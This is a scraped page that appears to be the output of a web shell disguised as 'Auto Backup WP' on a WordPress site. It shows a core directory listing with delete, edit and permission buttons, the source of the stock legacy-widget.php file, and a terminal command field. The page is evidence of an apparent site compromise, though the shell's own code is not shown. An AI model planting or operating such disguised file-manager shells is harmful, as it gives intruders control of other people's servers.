🚀 Auto Backup WP
var
/
www
/
vhosts
/
construcciondepiscinas.top
/
httpdocs
/
wp-includes
/
blocks
/
Name
Size
Perm
Action
archives/
DIR
drwxr-xr-x
🗑️
📝
🔧
audio/
DIR
drwxr-xr-x
🗑️
📝
🔧
avatar/
DIR
drwxr-xr-x
🗑️
📝
🔧
block/
DIR
drwxr-xr-x
🗑️
📝
🔧
button/
DIR
drwxr-xr-x
🗑️
📝
🔧
buttons/
DIR
drwxr-xr-x
🗑️
📝
🔧
calendar/
DIR
drwxr-xr-x
🗑️
📝
🔧
categories/
DIR
drwxr-xr-x
🗑️
📝
🔧
classic/
DIR
drwxr-xr-x
🗑️
📝
🔧
code/
DIR
drwxr-xr-x
🗑️
📝
🔧
column/
DIR
drwxr-xr-x
🗑️
📝
🔧
columns/
DIR
drwxr-xr-x
🗑️
📝
🔧
comment-author-name/
DIR
drwxr-xr-x
🗑️
📝
🔧
comment-content/
DIR
drwxr-xr-x
🗑️
📝
🔧
comment-date/
DIR
drwxr-xr-x
🗑️
📝
🔧
comment-edit-link/
DIR
drwxr-xr-x
🗑️
📝
🔧
comment-reply-link/
DIR
drwxr-xr-x
🗑️
📝
🔧
comment-template/
DIR
drwxr-xr-x
🗑️
📝
🔧
comments/
DIR
drwxr-xr-x
🗑️
📝
🔧
comments-pagination/
DIR
drwxr-xr-x
🗑️
📝
🔧
comments-pagination-next/
DIR
drwxr-xr-x
🗑️
📝
🔧
comments-pagination-numbers/
DIR
drwxr-xr-x
🗑️
📝
🔧
comments-pagination-previous/
DIR
drwxr-xr-x
🗑️
📝
🔧
comments-title/
DIR
drwxr-xr-x
🗑️
📝
🔧
cover/
DIR
drwxr-xr-x
🗑️
📝
🔧
embed/
DIR
drwxr-xr-x
🗑️
📝
🔧
file/
DIR
drwxr-xr-x
🗑️
📝
🔧
freeform/
DIR
drwxr-xr-x
🗑️
📝
🔧
gallery/
DIR
drwxr-xr-x
🗑️
📝
🔧
group/
DIR
drwxr-xr-x
🗑️
📝
🔧
heading/
DIR
drwxr-xr-x
🗑️
📝
🔧
home-link/
DIR
drwxr-xr-x
🗑️
📝
🔧
html/
DIR
drwxr-xr-x
🗑️
📝
🔧
image/
DIR
drwxr-xr-x
🗑️
📝
🔧
latest-comments/
DIR
drwxr-xr-x
🗑️
📝
🔧
latest-posts/
DIR
drwxr-xr-x
🗑️
📝
🔧
legacy-widget/
DIR
drwxr-xr-x
🗑️
📝
🔧
list/
DIR
drwxr-xr-x
🗑️
📝
🔧
list-item/
DIR
drwxr-xr-x
🗑️
📝
🔧
loginout/
DIR
drwxr-xr-x
🗑️
📝
🔧
media-text/
DIR
drwxr-xr-x
🗑️
📝
🔧
missing/
DIR
drwxr-xr-x
🗑️
📝
🔧
more/
DIR
drwxr-xr-x
🗑️
📝
🔧
navigation/
DIR
drwxr-xr-x
🗑️
📝
🔧
navigation-link/
DIR
drwxr-xr-x
🗑️
📝
🔧
navigation-submenu/
DIR
drwxr-xr-x
🗑️
📝
🔧
nextpage/
DIR
drwxr-xr-x
🗑️
📝
🔧
page-list/
DIR
drwxr-xr-x
🗑️
📝
🔧
paragraph/
DIR
drwxr-xr-x
🗑️
📝
🔧
pattern/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-author/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-author-biography/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-comments-form/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-content/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-date/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-excerpt/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-featured-image/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-navigation-link/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-template/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-terms/
DIR
drwxr-xr-x
🗑️
📝
🔧
post-title/
DIR
drwxr-xr-x
🗑️
📝
🔧
preformatted/
DIR
drwxr-xr-x
🗑️
📝
🔧
pullquote/
DIR
drwxr-xr-x
🗑️
📝
🔧
query/
DIR
drwxr-xr-x
🗑️
📝
🔧
query-no-results/
DIR
drwxr-xr-x
🗑️
📝
🔧
query-pagination/
DIR
drwxr-xr-x
🗑️
📝
🔧
query-pagination-next/
DIR
drwxr-xr-x
🗑️
📝
🔧
query-pagination-numbers/
DIR
drwxr-xr-x
🗑️
📝
🔧
query-pagination-previous/
DIR
drwxr-xr-x
🗑️
📝
🔧
query-title/
DIR
drwxr-xr-x
🗑️
📝
🔧
quote/
DIR
drwxr-xr-x
🗑️
📝
🔧
read-more/
DIR
drwxr-xr-x
🗑️
📝
🔧
rss/
DIR
drwxr-xr-x
🗑️
📝
🔧
search/
DIR
drwxr-xr-x
🗑️
📝
🔧
separator/
DIR
drwxr-xr-x
🗑️
📝
🔧
shortcode/
DIR
drwxr-xr-x
🗑️
📝
🔧
site-logo/
DIR
drwxr-xr-x
🗑️
📝
🔧
site-tagline/
DIR
drwxr-xr-x
🗑️
📝
🔧
site-title/
DIR
drwxr-xr-x
🗑️
📝
🔧
social-link/
DIR
drwxr-xr-x
🗑️
📝
🔧
social-links/
DIR
drwxr-xr-x
🗑️
📝
🔧
spacer/
DIR
drwxr-xr-x
🗑️
📝
🔧
table/
DIR
drwxr-xr-x
🗑️
📝
🔧
tag-cloud/
DIR
drwxr-xr-x
🗑️
📝
🔧
template-part/
DIR
drwxr-xr-x
🗑️
📝
🔧
term-description/
DIR
drwxr-xr-x
🗑️
📝
🔧
text-columns/
DIR
drwxr-xr-x
🗑️
📝
🔧
verse/
DIR
drwxr-xr-x
🗑️
📝
🔧
video/
DIR
drwxr-xr-x
🗑️
📝
🔧
widget-group/
DIR
drwxr-xr-x
🗑️
📝
🔧
archives.php
3026B
-rw-r--r--
🗑️
✏️
📝
🔧
avatar.php
5427B
-rw-r--r--
🗑️
✏️
📝
🔧
block.php
1665B
-rw-r--r--
🗑️
✏️
📝
🔧
calendar.php
4668B
-rw-r--r--
🗑️
✏️
📝
🔧
categories.php
2848B
-rw-r--r--
🗑️
✏️
📝
🔧
comment-author-name.php
1960B
-rw-r--r--
🗑️
✏️
📝
🔧
comment-content.php
2286B
-rw-r--r--
🗑️
✏️
📝
🔧
comment-edit-link.php
1540B
-rw-r--r--
🗑️
✏️
📝
🔧
comment-reply-link.php
1902B
-rw-r--r--
🗑️
✏️
📝
🔧
comment-template.php
3722B
-rw-r--r--
🗑️
✏️
📝
🔧
comments-pagination-next.php
1846B
-rw-r--r--
🗑️
✏️
📝
🔧
comments-pagination-numbers.php
1594B
-rw-r--r--
🗑️
✏️
📝
🔧
comments-pagination-previous.php
1638B
-rw-r--r--
🗑️
✏️
📝
🔧
comments-pagination.php
967B
-rw-r--r--
🗑️
✏️
📝
🔧
comments.php
6714B
-rw-r--r--
🗑️
✏️
📝
🔧
cover.php
2497B
-rw-r--r--
🗑️
✏️
📝
🔧
file.php
1598B
-rw-r--r--
🗑️
✏️
📝
🔧
gallery.php
4689B
-rw-r--r--
🗑️
✏️
📝
🔧
home-link.php
4855B
-rw-r--r--
🗑️
✏️
📝
🔧
image.php
1294B
-rw-r--r--
🗑️
✏️
📝
🔧
index.php
779B
-rw-r--r--
🗑️
✏️
📝
🔧
latest-comments.php
5002B
-rw-r--r--
🗑️
✏️
📝
🔧
latest-posts.php
7457B
-rw-r--r--
🗑️
✏️
📝
🔧
legacy-widget.php
3902B
-rw-r--r--
🗑️
✏️
📝
🔧
loginout.php
1380B
-rw-r--r--
🗑️
✏️
📝
🔧
navigation-link.php
11321B
-rw-r--r--
🗑️
✏️
📝
🔧
navigation.php
26961B
-rw-r--r--
🗑️
✏️
📝
🔧
page-list.php
13016B
-rw-r--r--
🗑️
✏️
📝
🔧
post-author-biography.php
1448B
-rw-r--r--
🗑️
✏️
📝
🔧
post-author.php
2142B
-rw-r--r--
🗑️
✏️
📝
🔧
post-content.php
2395B
-rw-r--r--
🗑️
✏️
📝
🔧
post-date.php
1881B
-rw-r--r--
🗑️
✏️
📝
🔧
post-excerpt.php
2489B
-rw-r--r--
🗑️
✏️
📝
🔧
post-featured-image.php
6797B
-rw-r--r--
🗑️
✏️
📝
🔧
post-template.php
4034B
-rw-r--r--
🗑️
✏️
📝
🔧
query-no-results.php
1614B
-rw-r--r--
🗑️
✏️
📝
🔧
query.php
304B
-rw-r--r--
🗑️
✏️
📝
🔧
read-more.php
1345B
-rw-r--r--
🗑️
✏️
📝
🔧
rss.php
3940B
-rw-r--r--
🗑️
✏️
📝
🔧
search.php
20400B
-rw-r--r--
🗑️
✏️
📝
🔧
site-logo.php
5803B
-rw-r--r--
🗑️
✏️
📝
🔧
site-tagline.php
994B
-rw-r--r--
🗑️
✏️
📝
🔧
site-title.php
1675B
-rw-r--r--
🗑️
✏️
📝
🔧
social-link.php
60798B
-rw-r--r--
🗑️
✏️
📝
🔧
tag-cloud.php
1641B
-rw-r--r--
🗑️
✏️
📝
🔧
template-part.php
9421B
-rw-r--r--
🗑️
✏️
📝
🔧
term-description.php
1172B
-rw-r--r--
🗑️
✏️
📝
🔧
widget-group.php
2166B
-rw-r--r--
🗑️
✏️
📝
🔧
<?php /** * Server-side rendering of the `core/legacy-widget` block. * * @package WordPress */ /** * Renders the 'core/legacy-widget' block. * * @param array $attributes The block attributes. * * @return string Rendered block. */ function render_block_core_legacy_widget( $attributes ) { global $wp_widget_factory; if ( isset( $attributes['id'] ) ) { $sidebar_id = wp_find_widgets_sidebar( $attributes['id'] ); return wp_render_widget( $attributes['id'], $sidebar_id ); } if ( ! isset( $attributes['idBase'] ) ) { return ''; } $id_base = $attributes['idBase']; $widget_key = $wp_widget_factory->get_widget_key( $id_base ); $widget_object = $wp_widget_factory->get_widget_object( $id_base ); if ( ! $widget_key || ! $widget_object ) { return ''; } if ( isset( $attributes['instance']['encoded'], $attributes['instance']['hash'] ) ) { $serialized_instance = base64_decode( $attributes['instance']['encoded'] ); if ( ! hash_equals( wp_hash( $serialized_instance ), (string) $attributes['instance']['hash'] ) ) { return ''; } $instance = unserialize( $serialized_instance ); } else { $instance = array(); } $args = array( 'widget_id' => $widget_object->id, 'widget_name' => $widget_object->name, ); ob_start(); the_widget( $widget_key, $instance, $args ); return ob_get_clean(); } /** * Registers the 'core/legacy-widget' block. */ function register_block_core_legacy_widget() { register_block_type_from_metadata( __DIR__ . '/legacy-widget', array( 'render_callback' => 'render_block_core_legacy_widget', ) ); } add_action( 'init', 'register_block_core_legacy_widget' ); /** * Intercepts any request with legacy-widget-preview in the query param and, if * set, renders a page containing a preview of the requested Legacy Widget * block. */ function handle_legacy_widget_preview_iframe() { if ( empty( $_GET['legacy-widget-preview'] ) ) { return; } if ( ! current_user_can( 'edit_theme_options' ) ) { return; } define( 'IFRAME_REQUEST', true ); ?> <!doctype html> <html <?php language_attributes(); ?>> <head> <meta charset="<?php bloginfo( 'charset' ); ?>" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="profile" href="https://gmpg.org/xfn/11" /> <?php wp_head(); ?> <style> /* Reset theme styles */ html, body, #page, #content { padding: 0 !important; margin: 0 !important; } /* Hide root level text nodes */ body { font-size: 0 !important; } /* Hide non-widget elements */ body *:not(#page):not(#content):not(.widget):not(.widget *) { display: none !important; font-size: 0 !important; height: 0 !important; left: -9999px !important; max-height: 0 !important; max-width: 0 !important; opacity: 0 !important; pointer-events: none !important; position: absolute !important; top: -9999px !important; transform: translate(-9999px, -9999px) !important; visibility: hidden !important; z-index: -999 !important; } /* Restore widget font-size */ .widget { font-size: var(--global--font-size-base); } </style> </head> <body <?php body_class(); ?>> <div id="page" class="site"> <div id="content" class="site-content"> <?php $registry = WP_Block_Type_Registry::get_instance(); $block = $registry->get_registered( 'core/legacy-widget' ); echo $block->render( $_GET['legacy-widget-preview'] ); ?> </div><!-- #content --> </div><!-- #page --> <?php wp_footer(); ?> </body> </html> <?php exit; } // Use admin_init instead of init to ensure get_current_screen function is already available. // This isn't strictly required, but enables better compatibility with existing plugins. // See: https://github.com/WordPress/gutenberg/issues/32624. add_action( 'admin_init', 'handle_legacy_widget_preview_iframe', 20 );
Terminal Command